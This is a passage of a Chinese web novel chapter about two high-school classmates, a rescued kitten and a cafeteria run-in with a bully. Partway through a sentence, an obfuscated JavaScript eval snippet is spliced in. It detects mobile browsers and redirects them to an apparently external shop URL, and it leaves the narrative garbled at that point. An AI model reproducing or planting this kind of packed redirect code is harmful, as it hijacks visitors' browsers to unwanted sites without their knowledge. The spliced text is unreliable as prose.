许最的声音总带着一点冷冷清清的调子,有时候显得很拽莫名讨人厌,但有时候稍稍拖着尾音,语速放慢,又让人觉得软绵绵的,很温柔,像是只踩在棉花糖上的兔子。 “那你直接拒绝不行吗?”纪因蓝看着湖面上映出的灯光和星星,随口道: “不想上,就直接跟老牛说你不乐意上。老牛那人虽然看着死板严肃,但你要真不愿意,他也不会拿麻绳给你绑上去。” 许最没有应声,只低着头,无意识地捏着自己的手指,许久才回了一句: “嗯……我知道。” “怎么,觉得‘我不想’这三个字很难?” 纪因蓝从来没在社交和交流上磕过绊子,所以不太能理解许最的脑回路: “说实话,我还是第一次见你这样的人。你到底是不喜欢说话,还是别的什么理由?人养成某种特质,总得有点原因吧,你看陆珏多能说啊?一个人都能在那叭叭一小时。” “……”许最彻底没声了。 想想也是,纪因蓝有不愿意跟别人分享解释的事情,其他人自然也有。 所以,他没有继续这个话题,只抱着怀里的小三花,轻轻捏起他的前爪跟许最晃晃: “行了,时间差不多了,我走了。来,小三花,跟这哥哥说再见。” 小三花不知是不是听懂了纪因蓝的话,还真奶声奶气地朝许最叫了一声。 许最垂眼看着它,也认真回了一句: “再见。” “你摸摸它呗,它老想蹭你。” 纪因蓝看着小三花的动作,随口道。 许最没有说话。 他只望着纪因蓝手里的小东西,眸色在夜色的映衬下显得有些深。 片刻,他垂下的手微微动了动,可很快就缓缓蜷起了手指。 “……不了吧。” “哟,有人嫌弃你。” 纪因蓝抱着小三花笑了两声,也没多在意,只把小三花装回了刚买的猫包里。 他背着猫包,拎起自己给小三花买的东西,朝许最挥挥手: “走了,周一见!” 许最点了点头。 他一个人坐在湖边的台阶上,一直看着纪因蓝走远,等他的背影彻底从他视野中消失才收回目光。 他垂眸看向自己的手心。 因为刚才太过用力,他的手心被自己的指尖捏得有些泛红。 许久,他才收回手,无声地叹了口气,抬眼看向面前随着风动微起涟漪的湖面。 小猫。 暖的。 毛茸茸的。 会受到伤害的。 - 周一,深受九班同学爱戴的语文老师福团用两节连堂课和一节自习为她亲爱的同学们带来了一场突击考试,题量和时间都按正规考试走,没有逃避的余地。 对其他同学来说,语文考试怎样都要比其他三门好过一点,对于纪因蓝说却不是。 他发誓,他真的努力过,但他还是在编完阅读题之后进入了梦乡,虽然中途被许最戳醒几次,但在他由着起床气发作恶声恶气地对许最说一句“少管我”之后,世界就彻底清净了。 一觉醒来,试卷已经被旁边人抽走上交,如果不是丁逸逍和陆珏喊纪因蓝起来吃饭,那他还真可能直接睡过这个午休。 纪因蓝迷迷糊糊趴起来看了一眼边上空荡荡的座位,揉着眼睛随口问: “许最人呢?” “他交完卷子就走了。找他干什么?”丁逸逍捞着纪因蓝的胳膊把人拽起来: “他不是一直不跟咱一起吃午餐?走走走,大道消息,今天食堂有辣子鸡。我已经叫闪姐给咱占位了。” 听见“辣子鸡”,纪因蓝才来了点精神。 他们走得晚,等到了食堂,楼内三层基本都已经被攻占,走在里面几乎是人挤人。 丁逸逍走在前面找姜闪闪的位置,纪因蓝和陆珏走在后面,过了一会儿,陆珏像是突然想起了什么,问: “蓝,我看你昨天发的朋友圈,你家还养猫了?小三花,怪漂亮,什么时候让我过去撸一把。” “行啊,随时。”纪因蓝提起这事就想笑: “刚养的,属于一个先斩后奏,我姐出差回来看见家里多了个毛团子,差点没跳起来。” “啊?”陆珏也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12739922|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了: “小四姐不喜欢小猫小狗?” “说不上喜欢,也说不上讨厌。总之,在我晓之以理动之以情泪声俱下感人肺腑的演讲下,如果没人想领养,那猫崽以后就是我家的了。” “哪来的啊?捡的?” “嗯。” 纪因蓝点点头: “在柳湖公园后门那块,跟许最一起捡的。” “许最?” 陆珏有点意外: “你还能跟他凑到一块?” “怎么了?”纪因蓝听着好笑: “看我俩八字不合啊?” “差不多吧,说实话,我本来以为你不太喜欢他呢。毕竟你们俩……” 陆珏努力找着合适的形容词: “你俩太不一样了。” “正常,世界上没有哪两个人是一样的。” 说着,纪因蓝抬眼看看前面: “丁子呢?怎么说两句话的功夫就跑没影了。” 他看着食堂里那一堆人头,正找着丁逸逍和姜闪闪,但环视到一半后,他目光突然一顿。 “你等等。” 他抬手拦住往另一个方向走的陆珏: “我怎么看着……” “什么?”陆珏不知道他看见了谁。 纪因蓝没解释,他只微微眯起眼睛,朝角落里一张桌子走去。 他看见许最一个人坐在那,而许最对面的人则是一个带着诡异的欠揍气质的人。 等再走近点,纪因蓝确定了,那家伙的确是崔哲言。 许最怎么又跟崔哲言凑一起去了?光看个背影,纪因蓝都能想象到那货脸上油腻又狂妄的笑。 看来这人记性不太好,这才多久,又逮着许最在欺负。 许最也是,忍得了这么个瘪三三番两次在他面前跳,看来辱骂别人在他那里的难度跟拒绝挂着同一档高度。 食堂里太吵,他们具体说了什么,纪因蓝没有听清,他只看见崔哲言在那叭叭叭,而许最一言不发地盯着他看。 许最的长相其实挺冷,单眼皮,五官很和谐,搭配在一起很好看,并不是浓烈的长相,反而像杯清淡的茶,没表情的时候因为身上那点阴郁气,显得有点凶,不好招惹。 比如他现在盯着崔哲言的时候,额前发丝的影子落在眼睛里,显得眸色很沉,好像下一秒就得要了崔哲言的狗命。 纪因蓝很少见到这种感觉的许最,毕竟平时这人待在他身边,不总跟他对视,很多时候都垂着眼,像个受气的小可怜。 他不自觉把脚步放慢了点,想看看许最到底多久能注意到自己。 但许最看崔哲言看得太认真了,以至于崔哲言的背影越发嚣张,声音也越来越大,纪因蓝已经能在吵闹的食堂里听见他那讨人厌的声音和语气,很快,他一拍桌子: “我他妈忍你很久了,你他妈看什么看?!老子脸上有姜闪闪吗?!” 他周围的人安静一瞬,都被这动静吸引了注意,朝他们的方向看去。 纪因蓝没多想,他不可能让许最在这受这鸟气,他正想走过去让姓崔的闭嘴,但在那之前,他注意到许最开了口: “没有。但你……” 纪因蓝微一挑眉。 哟,太阳打西边出来了?哑巴不堪受辱要奋起反击了? 让我来听听你顶着这张拽脸能说出个什么。 抱着这样的想法,纪因蓝全神贯注地聆听许最的后半句话。 然后他就看见那哥盯着崔哲言,片刻后默默挪开了视线,依旧冷着一张脸,语气却无比真诚。 也无比欠揍。 用方圆五排人都能听到的音量咬字清晰掷地有声道: “你好像有颗大蛀牙。” “……” 他视线望着窗外,回避对面人要杀人的目光,用手指戳了戳自己脸颊: “在这。” “?” 合着您那么认真是挨着骂坐这给人找蛀牙呢? 纪因蓝是真没绷住他妈的。